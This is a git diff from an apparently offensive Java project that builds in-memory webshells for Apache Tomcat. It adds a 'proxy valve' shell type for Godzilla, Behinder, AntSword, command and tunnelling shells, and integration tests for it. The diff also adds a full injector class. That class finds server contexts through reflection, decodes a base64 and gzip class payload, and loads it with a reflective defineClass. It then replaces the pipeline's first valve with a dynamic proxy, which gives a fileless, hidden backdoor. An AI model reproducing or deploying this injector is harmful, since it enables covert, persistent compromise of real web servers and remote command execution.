diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java index d000ec90..6f5d97bd 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/Server.java @@ -118,6 +118,8 @@ public enum Server { .addShellClass(JAKARTA_LISTENER, GodzillaListener.class) .addShellClass(VALVE, GodzillaValve.class) .addShellClass(JAKARTA_VALVE, GodzillaValve.class) + .addShellClass(PROXY_VALVE, Godzilla.class) + .addShellClass(JAKARTA_PROXY_VALVE, Godzilla.class) .addShellClass(WEBSOCKET, GodzillaWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, GodzillaWebSocket.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, GodzillaInterceptor.class) @@ -146,6 +148,8 @@ public enum Server { .addShellClass(JAKARTA_LISTENER, BehinderListener.class) .addShellClass(VALVE, BehinderValve.class) .addShellClass(JAKARTA_VALVE, BehinderValve.class) + .addShellClass(PROXY_VALVE, Behinder.class) + .addShellClass(JAKARTA_PROXY_VALVE, Behinder.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, BehinderInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, BehinderInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, BehinderControllerHandler.class) @@ -164,6 +168,7 @@ public enum Server { .addShellClass(FILTER, AntSwordFilter.class) .addShellClass(LISTENER, AntSwordListener.class) .addShellClass(VALVE, AntSwordValve.class) + .addShellClass(PROXY_VALVE, AntSword.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSword.class) @@ -184,6 +189,8 @@ public enum Server { .addShellClass(JAKARTA_LISTENER, CommandListener.class) .addShellClass(VALVE, CommandValve.class) .addShellClass(JAKARTA_VALVE, CommandValve.class) + .addShellClass(PROXY_VALVE, Command.class) + .addShellClass(JAKARTA_PROXY_VALVE, Command.class) .addShellClass(WEBSOCKET, CommandWebSocket.class) .addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class) @@ -212,6 +219,8 @@ public enum Server { .addShellClass(JAKARTA_LISTENER, Suo5Listener.class) .addShellClass(VALVE, Suo5Valve.class) .addShellClass(JAKARTA_VALVE, Suo5Valve.class) + .addShellClass(PROXY_VALVE, Suo5.class) + .addShellClass(JAKARTA_PROXY_VALVE, Suo5.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, Suo5Interceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, Suo5Interceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, Suo5ControllerHandler.class) @@ -235,6 +244,8 @@ public enum Server { .addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class) .addShellClass(VALVE, NeoreGeorgValve.class) .addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class) + .addShellClass(PROXY_VALVE, NeoreGeorg.class) + .addShellClass(JAKARTA_PROXY_VALVE, NeoreGeorg.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class) .addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class) diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java index 3eb9243b..542d6bf2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ShellType.java @@ -6,15 +6,18 @@ package com.reajason.javaweb.memshell; */ public class ShellType { + public static final String JAKARTA = "Jakarta"; public static final String SERVLET = "Servlet"; - public static final String JAKARTA_SERVLET = "JakartaServlet"; + public static final String JAKARTA_SERVLET = JAKARTA + SERVLET; public static final String FILTER = "Filter"; - public static final String JAKARTA_FILTER = "JakartaFilter"; + public static final String JAKARTA_FILTER = JAKARTA + FILTER; public static final String LISTENER = "Listener"; - public static final String JAKARTA_LISTENER = "JakartaListener"; + public static final String JAKARTA_LISTENER = JAKARTA + LISTENER; public static final String VALVE = "Valve"; - public static final String JAKARTA_VALVE = "JakartaValve"; + public static final String JAKARTA_VALVE = JAKARTA + VALVE; + public static final String PROXY_VALVE = "Proxy" + VALVE; + public static final String JAKARTA_PROXY_VALVE = JAKARTA + PROXY_VALVE; public static final String NETTY_HANDLER = "NettyHandler"; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java index 9875b631..57656ecf 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/TomcatShell.java @@ -3,7 +3,6 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.injector.tomcat.*; import com.reajason.javaweb.memshell.utils.ShellCommonUtil; import net.bytebuddy.asm.Advice; -import net.bytebuddy.implementation.bytecode.assign.Assigner; import static com.reajason.javaweb.memshell.ShellType.*; @@ -39,6 +38,8 @@ public class TomcatShell extends AbstractShell { .addInjector(JAKARTA_FILTER, TomcatFilterInjector.class) .addInjector(VALVE, TomcatValveInjector.class) .addInjector(JAKARTA_VALVE, TomcatValveInjector.class) + .addInjector(PROXY_VALVE, TomcatProxyValveInjector.class) + .addInjector(JAKARTA_PROXY_VALVE, TomcatProxyValveInjector.class) .addInjector(SERVLET, TomcatServletInjector.class) .addInjector(JAKARTA_SERVLET, TomcatServletInjector.class) .addInjector(AGENT_FILTER_CHAIN, TomcatFilterChainAgentInjector.class) diff --git a/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/ProxyTest.java b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/ProxyTest.java new file mode 100644 index 00000000..62731dd9 --- /dev/null +++ b/generator/src/test/java/com/reajason/javaweb/memshell/shelltool/ProxyTest.java @@ -0,0 +1,70 @@ +package com.reajason.javaweb.memshell.shelltool; + +import lombok.SneakyThrows; +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; +import org.junit.jupiter.api.Test; + +import javax.servlet.ServletException; +import java.io.IOException; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; + +/** + * @author ReaJason + * @since 2025/6/2 + */ +public class ProxyTest { + + static class ValveProxy implements InvocationHandler { + + private final Valve valve; + + ValveProxy(Valve valve) { + this.valve = valve; + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + System.out.println("hello world" + method.getName()); + return method.invoke(valve, args); + } + } + + static class TestValve implements Valve { + + @Override + public Valve getNext() { + return null; + } + + @Override + public void setNext(Valve valve) { + + } + + @Override + public void backgroundProcess() { + + } + + @Override + public void invoke(Request request, Response response) throws IOException, ServletException { + System.out.println("invoke method"); + } + + @Override + public boolean isAsyncSupported() { + return false; + } + } + + @Test + @SneakyThrows + void test() { + Valve valve = (Valve) Proxy.newProxyInstance(this.getClass().getClassLoader(), new Class[]{Valve.class}, new ValveProxy(new TestValve())); + valve.invoke(null, null); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 81c5d0a6..d2aa01df 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -55,6 +55,7 @@ public class Tomcat10ContainerTest { ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, ShellType.JAKARTA_WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 6eb3bdfa..b4206190 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -56,11 +56,12 @@ public class Tomcat11ContainerTest { ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, ShellType.JAKARTA_WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher); + List testPackers = List.of(Packers.JSP, Packers.BypassDefineClassJSP, Packers.JSPX, Packers.AgentJarWithJREAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers, null, List.of(ShellTool.AntSword)); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java index caaf9673..ed019376 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11JRE21ContainerTest.java @@ -57,6 +57,7 @@ public class Tomcat11JRE21ContainerTest { ShellType.JAKARTA_FILTER, ShellType.JAKARTA_LISTENER, ShellType.JAKARTA_VALVE, + ShellType.JAKARTA_PROXY_VALVE, ShellType.JAKARTA_WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 41488a9a..be71e56a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -57,10 +57,11 @@ public class Tomcat5ContainerTest { ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); - List testPackers = List.of(Packers.JSP, Packers.JSPX, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher); + List testPackers = List.of(Packers.JSP, Packers.DefineClassJSP, Packers.JavaDeserialize, Packers.AgentJarWithJDKAttacher); return TestCasesProvider.getTestCases(imageName, server, supportedShellTypes, testPackers); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 8df0558f..d5f896fb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -55,6 +55,7 @@ public class Tomcat6ContainerTest { ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE ); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 966c34e8..58e57f06 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -55,6 +55,7 @@ public class Tomcat7ContainerTest { ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java index fb2fbe4d..8d11cd05 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8CommandEncryptorContainerTest.java @@ -50,6 +50,7 @@ public class Tomcat8CommandEncryptorContainerTest { arguments(imageName, ShellType.FILTER, ShellTool.Command, Packers.JSP), arguments(imageName, ShellType.LISTENER, ShellTool.Command, Packers.JSP), arguments(imageName, ShellType.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, ShellType.PROXY_VALVE, ShellTool.Command, Packers.JSP), arguments(imageName, ShellType.WEBSOCKET, ShellTool.Command, Packers.JSP) ); } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 782ef3c1..886a85d4 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -58,6 +58,7 @@ public class Tomcat8ContainerTest { ShellType.SERVLET, ShellType.LISTENER, ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index 9c269ac9..9d4342b9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -55,6 +55,7 @@ public class Tomcat9ContainerTest { ShellType.FILTER, ShellType.LISTENER, ShellType.VALVE, + ShellType.PROXY_VALVE, ShellType.WEBSOCKET, ShellType.AGENT_FILTER_CHAIN, ShellType.CATALINA_AGENT_CONTEXT_VALVE diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java new file mode 100644 index 00000000..5228ac8c --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/injector/tomcat/TomcatProxyValveInjector.java @@ -0,0 +1,206 @@ +package com.reajason.javaweb.memshell.injector.tomcat; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.lang.reflect.Field; +import java.lang.reflect.InvocationHandler; +import java.lang.reflect.Method; +import java.lang.reflect.Proxy; +import java.util.ArrayList; +import java.util.HashMap; +import java.util.List; +import java.util.Set; +import java.util.zip.GZIPInputStream; + +/** + * @author ReaJason + */ +public class TomcatProxyValveInjector implements InvocationHandler { + + private Object rawValve; + private Object proxyValve; + + static { + new TomcatProxyValveInjector(); + } + + public TomcatProxyValveInjector() { + try { + List contexts = getContext(); + for (Object context : contexts) { + Object valve = getShell(context); + inject(context, valve); + } + } catch (Exception e) { + e.printStackTrace(); + } + } + + public TomcatProxyValveInjector(Object rawValve, Object proxyValve) { + this.rawValve = rawValve; + this.proxyValve = proxyValve; + } + + public String getClassName() { + return "{{className}}"; + } + + public String getBase64String() { + return "{{base64Str}}"; + } + + @Override + public Object invoke(Object proxy, Method method, Object[] args) throws Throwable { + if ("invoke".equals(method.getName())) { + try { + Object request = args[0]; + Object response = args[1]; + if (proxyValve.equals(new Object[]{request, response})) { + return null; + } + } catch (Throwable e) { + e.printStackTrace(); + return method.invoke(rawValve, args); + } + } + return method.invoke(rawValve, args); + } + + public List getContext() throws Exception { + List contexts = new ArrayList(); + Set threads = Thread.getAllStackTraces().keySet(); + for (Thread thread : threads) { + if (thread.getName().contains("ContainerBackgroundProcessor")) { + HashMap childrenMap = (HashMap) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children"); + for (Object value : childrenMap.values()) { + HashMap children = (HashMap) getFieldValue(value, "children"); + contexts.addAll(children.values()); + } + } else if (thread.getContextClassLoader() != null + && (thread.getContextClassLoader().getClass().toString().contains("ParallelWebappClassLoader") + || thread.getContextClassLoader().getClass().toString().contains("TomcatEmbeddedWebappClassLoader"))) { + contexts.add(getFieldValue(getFieldValue(thread.getContextClassLoader(), "resources"), "context")); + } + } + return contexts; + } + + @SuppressWarnings("all") + private Object getShell(Object context) throws Exception { + ClassLoader classLoader = context.getClass().getClassLoader(); + try { + return classLoader.loadClass(getClassName()).newInstance(); + } catch (Exception e) { + byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String())); + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length); + return clazz.newInstance(); + } + } + + @SuppressWarnings("all") + public void inject(Object context, Object valve) throws Exception { + Object pipeline = invokeMethod(context, "getPipeline", null, null); + ClassLoader contextClassLoader = context.getClass().getClassLoader(); + Class valveClass = contextClassLoader.loadClass("org.apache.catalina.Valve"); + Object rawValve = null; + String fieldName = "first"; + try { + rawValve = getFieldValue(pipeline, fieldName); + } catch (NoSuchFieldException e) { + fieldName = "basic"; + rawValve = getFieldValue(pipeline, fieldName); + } + Object proxyValve = Proxy.newProxyInstance(contextClassLoader, new Class[]{valveClass}, new TomcatProxyValveInjector(rawValve, valve)); + setFieldValue(pipeline, fieldName, proxyValve); + System.out.println("proxyValve inject successful"); + } + + @SuppressWarnings("all") + public static byte[] decodeBase64(String base64Str) throws Exception { + Class decoderClass; + try { + decoderClass = Class.forName("java.util.Base64"); + Object decoder = decoderClass.getMethod("getDecoder").invoke(null); + return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str); + } catch (Exception ignored) { + decoderClass = Class.forName("sun.misc.BASE64Decoder"); + return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str); + } + } + + @SuppressWarnings("all") + public static byte[] gzipDecompress(byte[] compressedData) throws IOException { + ByteArrayOutputStream out = new ByteArrayOutputStream(); + GZIPInputStream gzipInputStream = null; + try { + gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData)); + byte[] buffer = new byte[4096]; + int n; + while ((n = gzipInputStream.read(buffer)) > 0) { + out.write(buffer, 0, n); + } + return out.toByteArray(); + } finally { + if (gzipInputStream != null) { + gzipInputStream.close(); + } + out.close(); + } + } + + public static Field getField(Object obj, String name) throws NoSuchFieldException { + for (Class clazz = obj.getClass(); + clazz != Object.class; + clazz = clazz.getSuperclass()) { + try { + Field field = clazz.getDeclaredField(name); + field.setAccessible(true); + return field; + } catch (NoSuchFieldException ignored) { + + } + } + throw new NoSuchFieldException(name); + } + + @SuppressWarnings("all") + public static void setFieldValue(Object obj, String name, Object value) throws NoSuchFieldException, IllegalAccessException { + Field field = getField(obj, name); + field.set(obj, value); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { + Field field = getField(obj, name); + return field.get(obj); + } + + @SuppressWarnings("all") + public static Object invokeMethod(Object obj, String methodName, Class[] paramClazz, Object[] param) { + try { + Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass(); + Method method = null; + while (clazz != null && method == null) { + try { + if (paramClazz == null) { + method = clazz.getDeclaredMethod(methodName); + } else { + method = clazz.getDeclaredMethod(methodName, paramClazz); + } + } catch (NoSuchMethodException e) { + clazz = clazz.getSuperclass(); + } + } + if (method == null) { + throw new NoSuchMethodException("Method not found: " + methodName); + } + method.setAccessible(true); + return method.invoke(obj instanceof Class ? null : obj, param); + } catch (Exception e) { + throw new RuntimeException("Error invoking method: " + methodName, e); + } + } +} \ No newline at end of file